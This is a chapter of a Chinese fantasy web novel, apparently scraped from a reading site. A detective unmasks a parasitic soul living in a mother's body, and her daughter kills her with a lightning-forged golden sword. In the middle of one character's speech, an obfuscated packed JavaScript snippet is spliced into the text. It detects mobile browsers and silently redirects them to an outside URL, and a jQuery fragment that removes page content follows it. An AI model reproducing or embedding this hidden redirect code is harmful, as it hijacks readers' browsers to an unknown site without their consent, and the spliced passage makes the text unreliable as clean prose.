21. 弑母祭剑
作品:《奥术师她为何焚神》 “轰隆——”
紫色的寒光打在菲拉下半张脸上,紧接着是一记闷雷,能清晰看到那张嘴一张一合。
“是我,受治安署委托,专门来走访失去「自我实现」功能的家庭。”
菲拉无视了卢西卡惊诧的目光,自顾自道,“其实你们家我已经注意很久了。
从你第一次生病就开始对卡玛利亚小姐露出真面目,到现在你已经很难掩饰真实目的了。
因为你着急,再无法得到她的‘寄生首肯’,你就无法再延续生命。
恐怕这具身体里的灵魂,也不是原本的赛特吧。”
赛特露出讥讽的笑意:“不懂你在说什么。”
菲拉信步走到床边,抬手托起她的下巴:“你很聪明,为了顺利寄生不惜忍受多年不喜欢的生活。
而这种天赋魔法,只能在血亲中传递。
让我猜猜,你是从哪一代开始永生的?难道是两百多年前赫菲斯托斯庄园出现的时候吗?”
她收回手转到床尾,“因为这些年的戈娅大陆太和平,你只能以生老病死为由转生到后代身上。
你刻意长时间接触放射性物质让自己患癌,以便能神不知鬼不觉地病死。
但你没想到姥天眷顾,竟然出现一场带来混乱的逆噬症。
让卡玛利亚小姐短时间炼出世界上不存在的宝剑,也是为了让她接触放射性元素。
癌症在她体内埋下种子,等你成功寄生到她身上,再生下孩子,又能早早换下一个目标。”
“轰隆——”
闷雷阵阵,窗外狂风大作,把窗帘带到屋顶。
菲拉俯身凝视赛特的双眼:“但再周全的计划,也会有失败的一天。可能卢西卡是你的克星,没想到混乱中也能抓到你的破绽。”
“什么……什么破绽?”
卢西卡高大的身影牢牢堵住门口:“你的身体太白嫩,完全不像一个脑癌晚期的病人。
即使卡玛利亚照顾得再用心,绝不会连一点伤疤都没有。难道你从来没有在身上扎过针吗?
你不是昨天才从医院回来吗?”
菲拉乘胜追击:“因为「寄生者」无法抵抗衰老,却能自愈普通瘢痕,这是魔法基因决定的。
最重要的是……你面前的红发小姐虽然是尘民,却能够通过水源感知生物的第一情绪。
很不幸,为你擦身时她听到了你心里对卡玛利亚的厌恶,恨不得让她死的厌恶。”
“咚、咚、咚、咚……”
工作室的机械钟敲响八下,早已麻木的卡玛利亚仍旧把手臂悬在窗外。
陷入癫狂的赛特大吼:“把剑收回来蠢货!好不容易炼成的!”
“你没资格……”
卡玛利亚的脸隐藏在碎发后,她的上半身剧烈颤抖,喉咙挤出尖叫,“你没资格!”
一道照亮整个街区的闪电劈在小小的炼金店二楼窗前,劈在那把悬在窗外的剑身上。
金光耀眼的光刺痛了卡玛利亚的双眼,她不顾手臂的剧痛用力抽回剑身。
“既然你杀了我真正的母亲,就让你为她偿命!”
“噗呲——”
剑体划破衣服、没入身体的那一刻,赛特吐下一口浓稠的血液。
鲜血从剑刃滑落,滴在洁白的被单上。
“嗖——”
卡玛利亚用力抽出剑身。
卢西卡难掩惊讶,因为那把还未完全炼好的剑,竟因那道闪电和血液的洗礼变成了黄金的颜色。
耀眼的金色、无法令人忽视的金色,此时就像沙漠中的风暴之神,完完全全斩断了寄生者和共生体的计划。
赛特不可置信地捂住腹部,慌乱扒开那道贯穿的剑痕,抬手看到鲜血竟开始狂躁地大喊大叫。
“你毁了我,毁了我!”
她自感染逆噬症,在梦中见到厄洛斯后,就一直在畅想往后的生活。
厄洛斯承诺她未来的世界会变得完全不同,只要她活着,就能享受世界上所有的资源,更有数不清的男人为她献身。
代价是用自己向爱神献祭,证明寄生的方法可行。
这样逆噬症不会第一时间被检测出,毕竟被寄生的人越年轻,那些愚蠢的女人就越大意。
她们不仅会保护那些孩子健康成长,还会让她们获得最好的教育。
等到孩子们长大能够自己做主时,改朝换代的时候就到了。
厄洛斯说,等那时候作为第一批为爱神贡献的寄生者,能得到最好的优待,能成为在戈娅大陆永远无法成为的上等人。
戈娅大陆没有等级区分,没有争名逐利,人活一生又有什么意思?
可是今天,这几个女人毁了一切!
没想到其中还有自己的女儿,卡玛利亚!
赛特顶着残破的躯体摇摇晃晃站起身,她俯视着房间的其她三人:
“卡玛利亚,你真是不乖,我要惩罚你。”
……
无人理她,卢西卡架着脱力的卡玛利亚和晕血的菲拉往房间外走去。
卢西卡回头:“对了,谢谢你为她留下的‘礼物’,我想你终其一生追求的武器,已经被她造出来了。”
赛特体力不支重新跌坐在床上,她身下血流如注,脑中闪过厄洛斯的话。
厄洛斯说:“在新世界,黄金是世界上最值钱的东西,如果你真的造出这样的宝剑,你将受到所有人追崇和爱戴。
而你炼金术师的身份,也将助你站在金字塔的顶端。”
“什么是金字塔?”
“人类天生分三六九等,你应该做第一,不应该甘于当世界的耗材。”
可是现在,赛特低头看着伤口,自己不正是做了厄洛斯的“耗材”吗?
她忍着剧痛爬到床头,战栗地拿起信纸和羽毛笔开始写写画画。
隔壁房间里的卡玛利亚正与镜子中的自己对视,她觉得自己应该嘲讽一笑,但她完全笑不出来。
“无论怎样,卡利,你自由了。”
“别叫我卡利。”
“好吧卡利,”卢西卡伸手,“我完成了我的承诺,报酬呢?”
卡玛利亚沉默良久,转身双手奉上那把金黄的宝剑:“这个,属于你了。”
卢西卡难掩意外:“这剑世界上只有一柄,天时地利人和,你不会再炼出来了。
把那柄没有遭过雷击的给我吧,不是也很坚固吗?”
卡玛利亚固执伸手摇头,见卢西卡没有接受,转身离开房间进入工作室。
徒留卢西卡与菲拉面面相觑。
“你通知治安署了?”
菲拉仰面躺在椅子上,大口喘息:“当然没有,唬一唬那个女人。不过,你怎么就成了通缉犯?”
“呵呵,我杀了克希拉。”
“我知道,我的意思是你为什么不通知我,”菲拉拍拍人形的强壮手臂,“我还能帮你清理现场。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613810|171377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
卢西卡摇头:“我是专门给她们看的。”
“她们?”
“仲黎城的所有人。只有亲眼看到鲜血淋漓的场景,她们才能明白平静的生活已经过去。”
卢西卡撑在窗边看向远方一排排五颜六色的房屋,“我们必须打起十二万分的精神,才不会让史前历史卷土重来。”
菲拉坐起身,夕阳般的眼睛中满是欣赏:“卢西卡,你比我想象中要坚强,也比我想象中成熟。”
卢西卡转过身靠在窗台:“所以菲拉,你该回到托尔山森林,这里将出现灾难。
根据索莱尔留下的塔罗牌预言,可能还会有战争,会有更多人死去。
你们精灵族最讨厌人类的鲜血,也不该再卷入人类历史和灾祸。”
菲拉却望着天花板陷入自己的幻想:“早知道你这么有潜力,我应该早早从索莱尔手中把你抢过来当我的助手。
说不定现在你已经是仲黎城第二个知名侦探了。”
九点的钟声敲响,太阳终于穿透云层得到片刻喘息。
工作室的房门打开,卡玛利亚手拿长剑走到二人面前。
“已经完成了,这把剑是你的了,它叫赛特。不是我母亲的名字,是沙漠与风暴之神赛特,她会永远护佑你。”
掀开红色丝绒剑套,露出鎏金的剑柄和同色弧形护手,护手上雕刻着沙暴之神的雕像,剑柄底部则是倒过来的共生树树根;
护手底部连接镶嵌了贝母和红宝石的剑格,剑鞘上雕满鎏金的麦穗和共生树的波浪形树叶。
抽开剑鞘,果然是那把灿如黄金的剑身。
“卢西卡,收下吧,这是她的心意。”菲拉双手捧脸,“我都能想象出你举剑大战厄洛斯的英勇画面。
你比任何人都需要这样的剑。”
“那我也不客气了,谢谢你,卡玛利亚。”
卡玛利亚摆摆手:“拿着剑快走吧,我已经通知了治安署,她们正在来的路上。”
……
一阵风刮过,房间里空空荡荡,只有被撩动的白色纱帘还在摆动,街道上卢西卡慌乱的背影中还夹杂了点点橙光。
卡玛利亚关上窗户拉上帘子,拿出自己的手提箱。
检查箱子里该有的都有后,把另一把没被闪电淬炼过的剑放了进去。
转身来到母亲的房间门口,她平静推开房门。
女人半截身子掉出床沿,早已没有呼吸。
沙漠一样的头发随意散落在地上,盖住了一张信纸。
上面用羽毛笔蘸着血液写道:
“亲爱的卡玛利亚,我是你的母亲赛特。
我对你没有印象,只是靠寄生者的记忆感受所谓的母女情。
或许我真正的灵魂还没完全死去,否则没办法写下这段话。
听说你锻造出世界上独一无二的剑,恭喜你。
如果要离开,记得把炉火熄灭,我有些琥珀放在房间的地砖下。
硫磺和硝石在左边木柜的第二层架子上,配好的药水别忘了更换标签。
床底的铜匣子留给你,钥匙放在那间灰色羊绒外套口袋。
尸体不用管了,治安署会处理的。
字迹可能有些抖,见谅。”
黄纸信笺被金色头发牢牢盖住,
卡玛利亚的脚停在床边,她始终没勇气再去翻动尸体。
停顿片刻,穿着黄色羊皮鞋的脚转身离开房间。